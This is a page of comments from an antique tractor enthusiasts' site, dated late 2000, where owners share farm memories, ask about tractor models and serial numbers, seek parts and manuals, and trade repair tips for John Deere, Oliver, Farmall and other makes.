Keith Davies wrote on Thursday, November 02, 2000 (PST): When I was growing up on our farm at Dauphin Manitoba Canada my Dad had one of these on steel wheels, he also later got a model LA, we also had a model S case. Both my brother and I have driven these. I'am now in the Royal Canadian Mounted Police in British Columbia Canada, and often recall those days growing up on the farm. I met one of my fathers old Hired Men, he told me that when the model L case was new, my dad and the Hiredman "Reg" used 450 , 45 gal of fuel in one year, the tractor was worked around the clock. with a lantern hung on the front for night. If you have any models of these three i would like to send one to my brother Clark who still lives onthe farm in Dauphin Manitoba
C.W.(Jim) Broughton wrote on Thursday, November 02, 2000 (PST):To; Jim Turner.... most likely the small "tube" that runs through your oil filter cast unit on the tractor is stopped up, particularly if the oil was not changed regularly. You'll need to take off the oil pan and take out the oil filter, get a small rod or "baling wire" and clean out that tube, otherwise, no oil pressure. Good luck !!
Ted Jacklovitz wrote on Thursday, November 02, 2000 (PST):My Dad owens 37 AOS it didnot come with steel or front nose cone it is 10th one built and starts on 2nd crank.I call it BATmobile.it is one of 25 of are old johndeeres.
Shannon Allen wrote on Thursday, November 02, 2000 (PST):Can anyone help me? Im trying to find exactly what model tractor I have. I know its a Farmall International Harvester (maybe 300-350) serial #25207 SJ. Is there someone I can call who has a list of serial numbers. Thanks
Shannon Allen wrote on Thursday, November 02, 2000 (PST):Can anyone help me? Im trying to find exactly what model tractor I have. I know its a Farmall International Harvester (maybe 300-350) serial #25207 SJ. Is there someone I can call who has a list of serial numbers. Thanks
Kevin Kryshak wrote on Thursday, November 02, 2000 (PST):Hi! I own a Super 55 Gas that I use at my cottage in the U.P. of Michigan. It is original paint and drivetrain. I will try to figure out its year and then I will be able to help with paint questions. It has green front wheels and Red rear. It has been converted to 12 volt and has a Wagner Loader from a Ford on it. (Boy does that red-orange clash with the Oliver red!) All the instruments work, and the hours meter just turned 600, although that may not be accurate. Bye!
Travis Mackey wrote on Thursday, November 02, 2000 (PST):I am looking for an Oliver Row-Crop 66 just like this one. If anyone has one, I would like to make an offer on it if you will consider selling it.
Matt Stewart wrote on Wednesday, November 01, 2000 (PST): I recently rescued a 46 H from a caved in shed. It has the narrow front end but the owner also had a wide front that he threw in on the deal. All the sheetmetal is good and the engine is not stuck. I plan on making this a show tractor but my wife is making me do some house remodeling first. I would imagine you all can relate to that problem...
Jim Gunter wrote on Wednesday, November 01, 2000 (PST):The Industrial version of the Model 60 was in fact produced only three years. 1946 - 48. Near as I can tell, approximately 815 tractors all told. I have one. Runs better than I do.
Ron Jackson, from Australia wrote on Wednesday, November 01, 2000 (PST):I have a 500 in a very worn out state. It has sat in the weather for probably 20 years after being used by a ploughing contractor for years. He told me he had worn out 18 sets of rear tyres and rebuilt the engine twice! The tractor is almost complete but missing the hour meter. Does anyone have a spare hourmeter and bracket?? A friend of mine bought another 500 from the same area ( a small rural community with a population of probably 50 people) but his is running - those comments about the sound of that six cylinder are certainly correct - sweet.
jeff thoner wrote on Wednesday, November 01, 2000 (PST):do you want to sell this tractor. if you do tell me how much you want for it
Lance Olson wrote on Tuesday, October 31, 2000 (PST):WE have a 1940 model B, it was purchased new by my wifes Grandfather and we bought it when he could no longer live on the farm. My wifes father grew up with the tractor and I remember him telling me he liked cultivating with it because you sat directly over the row, it has a "Cultivision" decal on the hood. My wifes Grandfather kept the tractor when he retired sometime in the mid 1950s and put a Sears belly mower on it. We have used it to mow the winbreak we planted at our place 12 years ago.The "little B" no longer fits between the evergreens and we were thinking of selling it.Can anyone give us a value for this tractor, it looks and runs great.
Lance Olson wrote on Tuesday, October 31, 2000 (PST):WE have a 1940 model B, it was purchased new by my wifes Grandfather and we bought it when he could no longer live on the farm. My wifes father grew up with the tractor and I remember him telling me he liked cultivating with it because you sat directly over the row, it has a "Cultivision" decal on the hood. My wifes Grandfather kept the tractor when he retired sometime in the mid 1950s and put a Sears belly mower on it. We have used it to mow the winbreak we planted at our place 12 years ago.The "little B" no longer fits between the evergreens and we were thinking of selling it.Can anyone give us a value for this tractor, it looks and runs great.
C.W.Broughton wrote on Tuesday, October 31, 2000 (PST): To Mike; You can get complete tractor manuals from Intertec P.O.box 12901,Overland Park,KS 66282-2901 or through the net from Binder Books in Tigard,Oregon...their phone is (503)-684-2024. Binder also has many of the implement manuals for the Cub and Low-Boys..hope this helps
Lev A .Garland wrote on Tuesday, October 31, 2000 (PST):My step son and I have built a replica of a 1923 8-16 , using a riding lawn mower frame it is about one half scale. It took almost 2 years to build. We take it to shows along with other things ( 1936 f-30 wide track and IHC horse drawn equipment lots of fun!!!}
Bennie H wrote on Monday, October 30, 2000 (PST):I have a 1966 Ford 2000, gas engine, 4 speed transmission, which I have repainted and now need a decal set. Can anyone tell me if there is an internet site where I might purchase a decal set for this model tractor?
John Badenhop wrote on Monday, October 30, 2000 (PST):My Father-n-law and Myself Own 4 Allis-Chalmers 1949 model "G"...We have completely restored 3 out of the four tractors...from the tear down and rebuild of the N62a block to the head and tail lights.Parts are becoming very hard to come of now..for one, the power take off, the mowing decks, and the original light\generator combination switches...Does anyone know where i may find these items, used...working or need of repair...Note to all who are rebuilding your N62 motors....for some strange reason, the pistons will only come out from the bottom, not the top, as i and others have ran into this problem on several motors... Happy Tractoring............... 8)
Ohio Dairyman wrote on Monday, October 30, 2000 (PST):We use a 1066 blackstripe with Cab to pull a newholland 900 forage harvestor. It's outfitted with a turbocharger, that baby can pull a full load up hill and keep right on chopping that corn or hay. no bog down. It can go 24-25 mph shuttling between farms. Most modern machinery is limited to 19-20 mph
butch wrote on Monday, October 30, 2000 (PST):this tractor kicks aaaaaaaaaasssssssssssssssssssssssssssssss
Darol wrote on Sunday, October 29, 2000 (PST):At Merced College in California we have a Model AO dating back to 1936. However, the ID tag states only Model A but the serial number refers to all AO parts in the book. Do we have a true AO or some kind of hybrid? The fenders have been scabbed back together after some branch blight as some point in time but the hood has the protector shield over the fillers. True AO or what?
pat vandiver wrote on Sunday, October 29, 2000 (PST):My dad farmed with A.C.'s when i was a woungster.My beighbor has a D-19 for sale and I am thinking about buying it.Appears to be a good clean,dry tractor that is always parked under a shed. asking price of $2500.oo IS this a fair price if not what would be? It also has a 3 bottom a.c. plow with it at that price.
Henry Hanson wrote on Sunday, October 29, 2000 (PST): I just purchased a 1952 To-30. Thanks to this web site I was able to figure out what year it was built, Thank you all. I learned how to drive a tractor when I was 11 years old. My Grandpa tought me. He had a Ford 8N. Since then I have wanted either a Ford or a Ferguson. I found this Ferguson to-30. Since then my son has been on it none stop making trails and dragging trees. It sure beets having him skating boarding and getting into trouble, if you know what I mean. I once red a saying on a sign on a farmers lawn "The outside of a horse, is good for the inside of a man", the same is true for a tractor.
john quick wrote on Saturday, October 28, 2000 (PDT):I'm looking to buy an L or LA John Deere tractor. I live in Southern Calif. Project or runner OKAY.
mark wrote on Friday, October 27, 2000 (PDT):Looking for a hyd.bank that goes under the seat on a 550 oliver gas tractor to control external hyd. cylinders for lifting machinery up, I have a 55 oliver that has this on and am looking for a bank for the 550. IF anyone knows where I can find one please let me Know Thanks alot.....
Ches Booth wrote on Friday, October 27, 2000 (PDT):I currently, own a 1957 John Deere 720 standard diesel tractor. The tractor is used for ploughing and cultivating, annually. I have restored the tractor through my own Machine and customn fabrication business, Dunfiddich Machine Works Inc.
mike hamby wrote on Friday, October 27, 2000 (PDT):I have growed up around tractors all my life big tractors and small tactors and now at 30 i am a heavy eqepment operator i run late model eqepment but i still love old tractors the jd 720 is my favorte of all tractors my good old dad bought one from a old man whitch who had bought the 720 new and every time the old mam got done useing it he wash it my dad bought the 720 to use he gave 1500 for it it was one of the slickest tractors i ever seen and ran great the pony was kind of hard to start but i guess you had to be smarter than the pony i trid to talk him in to putting a new paint job and makeing look like it came off the show room floor but he made 2500 proft on it and sold it i couid have kicked his ass but it was his i hope to own one soon just like the one pictured above great looking tractor
mike hamby wrote on Friday, October 27, 2000 (PDT):I have growed up around tractors all my life big tractors and small tactors and now at 30 i am a heavy eqepment operator i run late model eqepment but i still love old tractors the jd 720 is my favorte of all tractors my good old dad bought one from a old man whitch who had bought the 720 new and every time the old mam got done useing it he wash it my dad bought the 720 to use he gave 1500 for it it was one of the slickest tractors i ever seen and ran great the pony was kind of hard to start but i guess you had to be smarter than the pony i trid to talk him in to putting a new paint job and makeing look like it came off the show room floor but he made 2500 proft on it and sold it i couid have kicked his ass but it was his i hope to own one soon just like the one pictured above great looking tractor thacks
Shaun Young wrote on Friday, October 27, 2000 (PDT):i thank that the farnall super md is the best tractor every made i will love to hve one my good firend andy's grandpa had one
Cecil Isaac wrote on Thursday, October 26, 2000 (PDT):My partner has a D15 or a D15 series2. We had a look at the pictures and noticed that our D15 has the muffler on the left side of the engine. can anyone tell me what series this tractor is?
Rita Farrow wrote on Thursday, October 26, 2000 (PDT):A member of my family has a Avery-y-series that he is giving us,if we want it,another family member who is into restoreing antique tractors,says its not the kind you want to restore,but I think it,s a real neat old tractor.what do you think
Jerry wrote on Thursday, October 26, 2000 (PDT):I have a 1949 John Deere MT that I am parting out. I have many good parts for this tractor. If there is something you need for restoration or repair let me know by e-mail.
Jerry wrote on Thursday, October 26, 2000 (PDT):I have a JD 50 and a JD 60 that I am parting out. I have quite a few parts for these tractors. If there is anything you need for restoration or repair let me know by e-mail. Just click on my name above.
Jerry wrote on Thursday, October 26, 2000 (PDT):I am parting out a 1960 M-5 diesel. I have quite a few good parts for this tractor. If there is something you need for repair or restoration let me know by e-mail.
Tristan Garwood wrote on Thursday, October 26, 2000 (PDT): My dad ownes an 88, 770, 1600, 1650, 1800, two 1755's and I use at least two everyday to fed with and I'm 13 and wouldn't trade them in for any thing else. There the best tractor every made because of the live power. He also ownes a 2-135 White FWA and a 2-155 two wheel drive and they both get used alot and I like the three speed on them but they shift alittle hard.
Richard wrote on Wednesday, October 25, 2000 (PDT):I reciently purchased a international utility ser.No.1152 the tractor has a 4 cylinder gas engin front loader.someone has removed the emblims so I don`t know if it is a 300 or a 350 can anyone help.
Geldof Michel wrote on Wednesday, October 25, 2000 (PDT):We bought some 3 years ago a MH GP 4WD in Canada - Manitoba. We rebuild the tractor complete with succes. Now we have some problems with Spark Plugs. We are looking for the original (or equivalent) spark plugs. Now we have spark plugs from "AUTO LITE transport TT8", are these original? They always did very good there job just till now. Can somebody help us to find the right spark plugs? We are from Belgium and have a have a wide collection of antique tractors (some 120 rebuild). e-mail us please; steven.vanderbeke at geldof.be
Maurice R. Vary Jr. wrote on Tuesday, October 24, 2000 (PDT):I grew up on two John Deere B's a 60 and a 420 dozer. Wish I could go back.
Tim Ecker wrote on Tuesday, October 24, 2000 (PDT):I Was woundering were I can find Info. on an Oliver 70 standered not an orcherd or a row crop. I also need to know were I can get parts for on this tractor such a rear fenders, seat and a book.
Eric Mickelson wrote on Tuesday, October 24, 2000 (PDT):I bought a D-21 at an auction a few years ago. I use it to farm about 300 acres in NW Minnesota. The motor is smooth and uses very little oil. It is a real workhorse. I am a John Deere fan, but would definitely buy another D-21 if I came across the right deal!!
Claude Belcher wrote on Tuesday, October 24, 2000 (PDT): I'm looking for a MC. If there any in the Washington state area please I sure would be interested. I have an M tractor and the two would go together well. Let me know
Russ Stauffer Calgary AB CAN. wrote on Monday, October 23, 2000 (PDT):I am restoring a 1942 farmall A serial # IAA 95055 I realize the I stands for industrial and I want to paint it back to its original color YELLOW , but I don't know the shade of yellow.Can someone help me with the paint code? Thanks
Russ Stauffer Calgary AB CAN. wrote on Monday, October 23, 2000 (PDT):I am restoring a 1942 farmall A serial # IAA 95055 I realize the I stands for industrial and I want to paint it back to its original color YELLOW , but I don't know the shade of yellow.Can someone help me with the paint code? Thanks
Bill Jeffrey wrote on Monday, October 23, 2000 (PDT):Anybody know of a D17 for sale in Georgia/Alabama/South Carolina? Grew up in South Arkansas now I live south of Atlanta, and I want one to keep.
Mark Jackson wrote on Monday, October 23, 2000 (PDT):I am an Ag-Science teacher in Milford, Texas. We recently recieved a Ferguson tractor for my Ag Power and Machinery class to work on. The Serial Number on the tractor TO-15098 Does anyone know anything about this tractor? Is this a TO-20 ? THe tractor seems to be in decent shape and we are Planning on restoring it if we can find the manuals and parts we need. Please E-mail any help you can give.
Donald Ross wrote on Monday, October 23, 2000 (PDT): Here in the Highlands of Scotland we have a 1946 "D" petrol/kerosene bought new, it was used until 1965 as a ploughing tractor. All the local farmers bought tractors with rear likages in the 50's but my grandfather never saw the point of changing a system which worked so well, it was only when tax free diesel came in that he changed his mind.We restored it in 1991 and she goes to the local ploughing match.
WAYNE ANDREWS wrote on Monday, October 23, 2000 (PDT):i have just started to restore my fathers 9n fordferguson tractor. iam having a problem with the serial no. (101386*) is it a 9n tractor or 2n tractor. the serial seem to overlap. how can i know for sure what it is? thanks wayne
Tom Saathoff wrote on Sunday, October 22, 2000 (PDT):Jim, I just happened to see your letter and was surprised that no one has responded yet. The fix is pretty simple, assuming "good luck" that the water pump pulley isn't froze. The pulley is in two seperate sections that screw and unscrew to tighten or loosen the belt. At the front of the pulley there is a set screw that needs to be loosend then you can take a rod and hammer and tap on the lugs on the pulley face to move it. More than likely the damn thing (all of mine) haven't been adjusted for a long time and are froze. Use a liberal amount of good penetrant and tap a little, resoak, repeat as much as needed. I have had to pull the radiator and fan to get room to work on this. Desperate measures. Hope this helps you. It would be a good idea to get an owners manual for the M. They are still availible from Case IH or other sources. Tom
T-n-T Machine Shop wrote on Saturday, October 21, 2000 (PDT):We rebuild motors and have restored many Olivers. We have several friends who also own Olivers which we compete with at tractor pulls. If you still need information on you 3 Olivers,E-mail us at cawthon at cameron.net We are in Missouri, Where are you?
T-n-T Machine shop wrote on Saturday, October 21, 2000 (PDT):We own a machine shop which specializes in rebuilding and restoring antique and classic tractors. We have built motors with increased horsepower for Oliver 66,77,88, 88 diesel, and have possesion of Oliver 70 & most of needed parts to assemble Oliver 60(cute little tractor our 9 year old daughter will probably pull). We will try to give your hard to find parts list to a friend who purchased 3 pick-up load of Oliver parts at an auction. We live in Polo, Mo which is close to Kansas City. We have several manuals and books on Olivers. We also build motors for JD, Massey's, Farm-alls, AC etc.. E-mail us cawthon at cameron.net
anthony yarber wrote on Saturday, October 21, 2000 (PDT):there were 110 model c jd tactors made,do you have any information on such,or do you know whom i could get some from?
Robert Hanke wrote on Saturday, October 21, 2000 (PDT):My father has two 1939 f-14 tractors to restore into one. As the mechanic in the family I have been recruited to help. Also with internet expierence I am sendind out a plea. We are looking for a front steel wheel for our single wheel front end. Anybody know of one?
Jerry wrote on Saturday, October 21, 2000 (PDT):I am the proud owner of a 1955 super 55-gas in very good condition, used daily. in north texas area i have two sorces of people who will get oliver parts for you. they are Daniel Impl.-1-800-950-8628, Zimmerer Kobota -1-800-582-6823. These have been a big help to me in getting those hard to find parts. I found a shop manual from Intertec Publishing Corporation P.O. Box 12901 Overland Park, Ks. 66212. I have newer tractor to do the most of my work but i love my old oliver, it is in the process of a new paint job for shows at the present time, although im not shure of the color scheme will be original as it seems to be dificult to find out what the original was for sure.
Doug Flath wrote on Friday, October 20, 2000 (PDT):I have an old McCormick Deering tractor. I think it might be a 10-20. This is the number I got off the plate; KC152889. I'd like to start restoring it and curious as to what year and model it is. Any help would be appreciated.
John wrote on Thursday, October 19, 2000 (PDT):I have a 1946 Cletrac AG-6. (Runs with a Willys 6-cyl gas engine). Tracks are worn, and the right side suspension spring is broken. Can anyone point to sources I should check out for parts??
dirk van papendorp wrote on Thursday, October 19, 2000 (PDT):My dad used to tell me about the TD-35 they had on our farm and that did almost all the work on our wheat farm in the Western Cape province of South Africa. As I only heard about this formidable little tractor, it was interesting to see it in a photo and well preserved. Farmers in our area sadly sold most of the old stuff to scrap dealers. My dad later traded it fot two Cat D2 tractors which did sevice for 25 years and was also the first tractors which I worked with. Many a good story were told about how they outperformed the first wheeltractors with double the horsepower, especially in wet conditions!
Nick Beazley wrote on Thursday, October 19, 2000 (PDT):The Field Marshall series 2 tractor, in my opinion is one of the most classic and interesting pieces of machinery that mankind can give credit to. I hope that the site can eventually give this tractor some credit in its home page as both I and many other site hitters believe it should. Long live the Marshall!!!
Randy B. wrote on Wednesday, October 18, 2000 (PDT):Very nice picture of the 560. My uncle has a 460 that he has used for years. And what a workhorse. He has used it to disc land, pull a 3 bottom 14" turning plow as well as irrigate the tobacco fields pulling three rainbird guns and never putting it under a strain. He has had an Oliver Row-Crop 77, Farmall Super A, John Deere 2040 and a Farmall F-20, but his favorite baby will always be the 460. IH is the best.
Craig Hayton wrote on Wednesday, October 18, 2000 (PDT):Amanda Blake I also have a super 77 diesel. Tim Smith of Dalton Ohio might be able to help you. His phone number is 330 832 9792. Also join the Oliver club contac Sherry at 217 563 8327. I hope you enjoy your 77 as much as I do mine. Good luck if I can be of any more help e mail me. Craig
Scott MacDougall wrote on Wednesday, October 18, 2000 (PDT):I have a couple of things, one does anyone know where there is a jd bw in the New England area. I live in southern NH. also i have two jd b's I am restoring and I need the steering wheels redone and I don't know who to send it to, can anyine help? Thanks
Scott MacDougall wrote on Wednesday, October 18, 2000 (PDT):I have a couple of things, one does anyone know where there is a jd bw in the New England area. I live in southern NH. also i have two jd b's I am restoring and I need the steering wheels redone and I don't know who to send it to, can anyine help? Thanks
Tom Nesbitt wrote on Tuesday, October 17, 2000 (PDT):I bought a 1967 Ford Dexta 2000 today. I would like to find a copy of the manual for it as well as a place to buy parts if needed. It runs well and seems very strong, however there is a slight leak in the desiel fuel tank on the lower right side. If anyone can send me a copy of the manual I would gladly pay you for it.
Kurt Bergman wrote on Tuesday, October 17, 2000 (PDT):I have got fenders, a gas tank, 2 radiator shutters and a few other parts from a wd tractor. I do not need these parts do to the the tractor has been modified with a loader and a set of reversed gears to operate.
John Dunlap wrote on Tuesday, October 17, 2000 (PDT):Where can I get new fenders for my '72 Ford 3000 with the toolbox (aftermarket)? Rust has overtaken them. I live in the Sacramento, Calif.area.
ace wrote on Monday, October 16, 2000 (PDT):the above add is mine sorry
ace wrote on Monday, October 16, 2000 (PDT):the above add is mine sorry
ace wrote on Monday, October 16, 2000 (PDT):ive got a 46 b ser# 191264 i need a complete carb my tractor was converted to propane and i would like to convert back
Arthur Smart wrote on Monday, October 16, 2000 (PDT):To Brian,Bruce Thompson,&Tiffany lots of info about Oliver Tractors contact Hart-Parr Oliver Collectors Assn. P.O. Box#685 Charles City, IA 50616 hpocacc at fiai.net 641-228-5406 For Gene The capacity for the transmission and differential of the oliver 70 is 6 and 1/2 gallons of #90 transmission oil. I just rebuilt a 1946 standard and am about to start on a 1936 standard
Gene Kuhel wrote on Monday, October 16, 2000 (PDT):I have a 70 Row Crop that I just got it moved to my yard from the farm where I use to plow with this tractor. I need to find some parts for it. Like the entake/exast manifold , side covers , and hand crank. Its a 6 cyl , 1948 Oliver 70 series wheel tractor Row Crop ser# 265016 . I also need a rebuilder manual too.
david singh wrote on Monday, October 16, 2000 (PDT):does anyone have a six speed gearbox for a fordson major e27n the model is 1945 to 1951.these tractors had a three speed gear box. but you can bolt on a overdrive box in front to double the gears . it is called darlington overdrive
Shep wrote on Monday, October 16, 2000 (PDT):Still seeking lower seat assy. and brakes for my 550. I've made my own floorboards. Another good site is www.farmandcountry.com They have lots of after market parts available for a variety of tractors and equipment.
John Logsdon wrote on Sunday, October 15, 2000 (PDT): Seeing all the comments on the 720's pulling power reminded me of one that I farmed with during the sixties. We had a new '61 JD 4010 pulling a spinner moldboard with 3 sixteen bottoms in a field following harvest. We were plowing in fourth gear at a depth of about 7 to 8 inches. I wanted to see how the 720 would do and went over and fell into the furrow behind the 4010. This surprized the hired hand but he didn't stop. At the end of the half mile through, the 720 was about 6 lengths behind. Granted I had to keep the 720 real hard at work. The gear on the 720 was just a tiny bit slower and this caused some of the distance. I think the 4010 diesel was and is one of the finest tractors I ever drove; I know the 720 was not in its power class, but It was about as I had figured it to be. Ever wonder which one would outpull the other at the drawbar? I wondered also and my brother and I hooked the 720 to the 4010 with a big chain. I pulled the 720 in 2nd, idled down, he was going to pull me backward with the 4010 in 3rd. I was a little anxious before the start since I didn't have any wheel weights on the 720', the 4010 had two to each wheel. I pulled him all over the place. We tried three different times; same result. When daddy came in and saw the tracks where the 4010 had be dragged, he wanted to know "What was going on out there?" He of course was afraid of a tractor rearing up, but we rode them every day and were too good to have let that happen. I'm retiring the last of this year and am moving back to the contry, got the place bought already, and the first thing I will do is have a nice shop built where I can work on tractors. The second thing is to buy a 720/730 diesel. The 4010, super 88, M-5, M Farmall, UTU (I like punishment), and 1800 Oliver will come asap. I must be crazy, those AC D17s are even looking good to me as well. Well, maybe a Ford, v8 powered would top off the collection. Enjoyed just thinking about the old times. John
John Logsdon wrote on Sunday, October 15, 2000 (PDT): Seeing all the comments on the 720's pulling power reminded me of one that I farmed with during the sixties. We had a new '61 JD 4010 pulling a spinner moldboard with 3 sixteen bottoms in a field following harvest. We were plowing in fourth gear at a depth of about 7 to 8 inches. I wanted to see how the 720 would do and went over and fell into the furrow behind the 4010. This surprized the hired hand but he didn't stop. At the end of the half mile through, the 720 was about 6 lengths behind. Granted I had to keep the 720 real hard at work. The gear on the 720 was just a tiny bit slower and this caused some of the distance. I think the 4010 diesel was and is one of the finest tractors I ever drove; I know the 720 was not in its power class, but It was about as I had figured it to be. Ever wonder which one would outpull the other at the drawbar? I wondered also and my brother and I hooked the 720 to the 4010 with a big chain. I pulled the 720 in 2nd, idled down, he was going to pull me backward with the 4010 in 3rd. I was a little anxious before the start since I didn't have any wheel weights on the 720', the 4010 had two to each wheel. I pulled him all over the place. We tried three different times; same result. When daddy came in and saw the tracks where the 4010 had be dragged, he wanted to know "What was going on out there?" He of course was afraid of a tractor rearing up, but we rode them every day and were too good to have let that happen. I'm retiring the last of this year and am moving back to the contry, got the place bought already, and the first thing I will do is have a nice shop built where I can work on tractors. The second thing is to buy a 720/730 diesel. The 4010, super 88, M-5, M Farmall, UTU (I like punishment), and 1800 Oliver will come asap. I must be crazy, those AC D17s are even looking good to me as well. Well, maybe a Ford, v8 powered would top off the collection. Enjoyed just thinking about the old times. John
Kelly Shanholtz wrote on Sunday, October 15, 2000 (PDT):I am looking for fenders for my husbands 1948 WD45 in great condition, I am hoping to find some before Christmas....PLEASE HELP!!! Any information as to where I could find them would be appreciated.
Carol Johnson wrote on Sunday, October 15, 2000 (PDT):Do you know an Oliver Super 55 (gas) for sale?? My father is restoring Oliver tractors. He started farming in Wisconsin with a Super 55 and would like to add one to his collection.
chris hale wrote on Saturday, October 14, 2000 (PDT):I have several olivers in my collection including 60,70,80, 90, and 99.Also 66,77,88,super88 diesel,and a 550.I would be interested in locating a 44 or a 440.Please e-mail me if you know of any available.I also have duplicates of some of the above tractors.
John Gomes wrote on Saturday, October 14, 2000 (PDT):I just bought a 1950 case S with a loader and in nice working condition, I would like to know about a 3 point hitch system for it, Where would i find it? and I see that alot of people are looking for rebiuld kits for the engine, are they that hard to find? are parts in general hard to find for these tractors? I bought it to use at the cottage, to move some gravel around, but I would like to add a post hole driller so I need the hitch any help
Chuck Bowen wrote on Saturday, October 14, 2000 (PDT): I have a 1941 "H" that my Grandpa bought new in Williston, ND. It came out on steel, but was later converted to cutdown rubber. Thats where they cut the steel rims off, put on a flat bottom rim and pnuematic tires. Was this common during the war. The rims are spoked like an F-20. I also need to replace the rims. One rusted out and when my Dad owned the tractor and I replaced it with a dropcenter rim off a Cockshutt, but I would like them to both be the same. Six generations of Bowens have ridden that old "H".
David Struck wrote on Friday, October 13, 2000 (PDT):I own a 1949 Case SC. I use it to field mow 5 acres. This year I would like to plow the driveway, does anyone know if they make a snow/dirt blade for the SC. If so, were can I find one. I am desperate!
Seymour Bjorlie wrote on Friday, October 13, 2000 (PDT):I've got a 1930 22-36 in working order. It was running this summer. It was parked outside from 1952 to 1997. The metal is in in good shape. There isn't any paint left on it. The orignal lugs and lug extensions are still on it. The tractor was last used in 52 for theshing and was parked along with a 28" Allis Chalmers threshing machine. The threshing machine is in poor shape with all the wood and belts gone although the metal is good. I'm considering selling it and am wondering what it's worth. By the way it's located in eastern North Dakota.
Jeremy Durham wrote on Friday, October 13, 2000 (PDT):I am looking for any and all 98 Masseys' powered by the Detroit diesel.Any condition wanted!Any leads or help finding this tractor are greatly appreciated!Thanks
david Cohrs wrote on Friday, October 13, 2000 (PDT):again if anyone has any info about a 44-6 {with continental 6 cylinder engine} i would appreciate you sending that to me like #produced, hp, weight, how rare of a tractor is this?we picked it up for $1000.00 dollars i think we got a good deal considering it's been totally repainted.
Jesse Hughes wrote on Thursday, October 12, 2000 (PDT):My father owns a 300 utility that is in pretty good condition. We might be restoring it. I myself am looking into another one that is sitting in some weeds for $400. I need to know if the 300 utility with the Torque Amplifier had power steering or not. I cannot tell with this tractor.
Jim Broughton wrote on Thursday, October 12, 2000 (PDT):To; Doug Weaver... Doug, do you have one of the emblems in good shape? If so remove it CAREFULLY. take it to a sign shop or a plastics company with a PATTERN ROUTER...they can duplicate it for you in 1/4 inch chrome plastic...simply drill small one eighth inch hole where the screws go and mount it on your tractor. That's what I did on my 59, and it looks great..the only giveaway is it is shinier than the original.
Amanda Blake wrote on Thursday, October 12, 2000 (PDT):I recently bought a 1955 Oliver super 77 diesel. It has been restored except for the sheet metal. It runs great and I plan to complete the restoration. I would like to know what the original colour scheme of this tractor was. I have seen several combinations, but want to do mine original. I also need the original rear wheel rims which were 11-38 I believe. I would also like to replace the hood, cowl and grills. The front side curtains are missing so I would also like to buy them. I am really enjoying my Oliver and plan to buy at least one more. Any help I can get will be appreciated. I want to order the paint as soon as I know which colours to buy.
Jack Mayers wrote on Thursday, October 12, 2000 (PDT):I just purchased a 1957 Fordson Major Diesel. I wanted to change the oil before running it and found several large pieces or flakes of metal(1 to 2 inches across and irregularly shaped) in the oilpan. I figure it's a bearing. Can anyone help me find a bearing kit for this tractor? Thanks
David Fransen wrote on Thursday, October 12, 2000 (PDT):Wow, does this site bring back memories. I worked on my uncle's ranch during and shortly after high school in the late 60's and early 70's. The main workhorse tractor was a 560 Diesel. We used it year round for everything, in conjunction with several Farmall M's and H's and a Case VAC. The 560 did everything that was asked of it, from a 5 bottom plow, to cutting silage, to planting wheat, grinding feed, there was nothing that was too tough. Loved the TA, especially when plowing. And yes, gotta love the sound of that engine under load.
David W. Boelman wrote on Thursday, October 12, 2000 (PDT):I presently own one of these tractors. I have had it restored and it runs perfecty. I would like to know how big of a plow it would really plow in heavy Iowa ground? I know that it just plays with a four-sixteen 4340 Oliver plow.
Randy Brande wrote on Wednesday, October 11, 2000 (PDT):Avery nice picture of the 560. I grew up working on my uncles tobacco farm and he had a 460 that did a great job of pulling the harrow and also a 3 bottom 14" plow. He used it also to pull three rain bird irrigation guns during the summer. This tractor is truly a workhorse and he still uses it today to tend his garden. He has always said it was the best tractor he ever bought, except of course for his Farmall F-20.
Bob Frawley wrote on Wednesday, October 11, 2000 (PDT):I'm looking for an International 300 Utility model toy tractor of any scale. I drove one on our family farm, and would like to get a model for a keepsake. Would appreciate any help. Thanks.
Kevin Buhmann wrote on Wednesday, October 11, 2000 (PDT):I am looking for new or great conditioned used WD45 fenders
Sean , Wa wrote on Tuesday, October 10, 2000 (PDT):To find more info on antique tractors try yesterdaystractors.com Also Iam looking for a belley mower for my 1955 LoBoy
Chris Dyrdahl wrote on Tuesday, October 10, 2000 (PDT):I have a Farmal M and just love it my first tractor, any way I have a old du-al loader on it and it works good but the old seals are leaking on the hydraulics I was told that they don't make that kind of seals anymore. What do I do without buying new hydraulics cylenders.
Clayton Harra wrote on Tuesday, October 10, 2000 (PDT): I currently have a 1963 560-D that has been completely overhauled front to back. This girl starts and runs great. It really has a sound of its own when it hooks to plows. Was also wondering if anyone has any old Firestone 23 degree 15.5 X 38 gum dipped tires for sale.
Clayton Harra wrote on Tuesday, October 10, 2000 (PDT): I currently have a 1963 560-D that has been completely overhauled front to back. This girl starts and runs great. It really has a sound of its own when it hooks to plows. Was also wondering if anyone has any old Firestone 23 degree 15.5 X 38 gum dipped tires for sale.
Jerry Button wrote on Tuesday, October 10, 2000 (PDT):My father purchased the Farmall C in Campbellsville, Kentucky in 1949. I was 6 years old. When it was delivered, I thought it was great. Two weeks later, while mowing pastures, dad drove the front end into a sink hole and broke the tractor in half just behind the radiator. Needless to say it was a sad day for the family. Later it was repaired and brought back home. We later moved to the city and the tractor was given to my uncle. It was used many years there after on my uncle's farm. He died a few years back and the farm was auctioned. God only knows who has it know. It was a fantastic machine that really looked great. All my other relatives had Deeres with the hand clutches. Those were the good years.
Tom Ledford wrote on Monday, October 09, 2000 (PDT):I have a 1952 WD that I use for pulling I am current setting in third place in my weight class of 4000 lbs the tractor is all stock ,but it seems to have lower gears than the other WDs in my class
C.W.Broughton wrote on Monday, October 09, 2000 (PDT): I was scrounging around an estate sale near Eugene,Oregon and came across what looks like a 1930ish McCormick-Deering that could possibly be a 22/36 no side curtains, but everything else seems to be there, rear tires are shot, but the rims still look good...and it is going to the crusher in about two weeks, so if anyone is interested... better act fast...I'm sure the folks would be reasonable pricewise, sorry, I didn't try to turn the motor over, so don't know if it is "free" or not. (I'm not interested, I collect smaller models)
Paul G. wrote on Monday, October 09, 2000 (PDT):My friend and I recently aquired a Farmall H tractor Serial # FBH177544. We are looking to restore this old girl. Can any one tell us what year this tractor is and where we might find a repair manual? Thanks, Paul
GeneD14 wrote on Monday, October 09, 2000 (PDT):A D14 is a perfect size to grade a driveway with and other general chores. It can handle a 5'-6' Bush Hog mower, 2 or 3 bottom plow. I have a heavy 7' blade that I use behind mine to grade the drive. It's a great tractor!
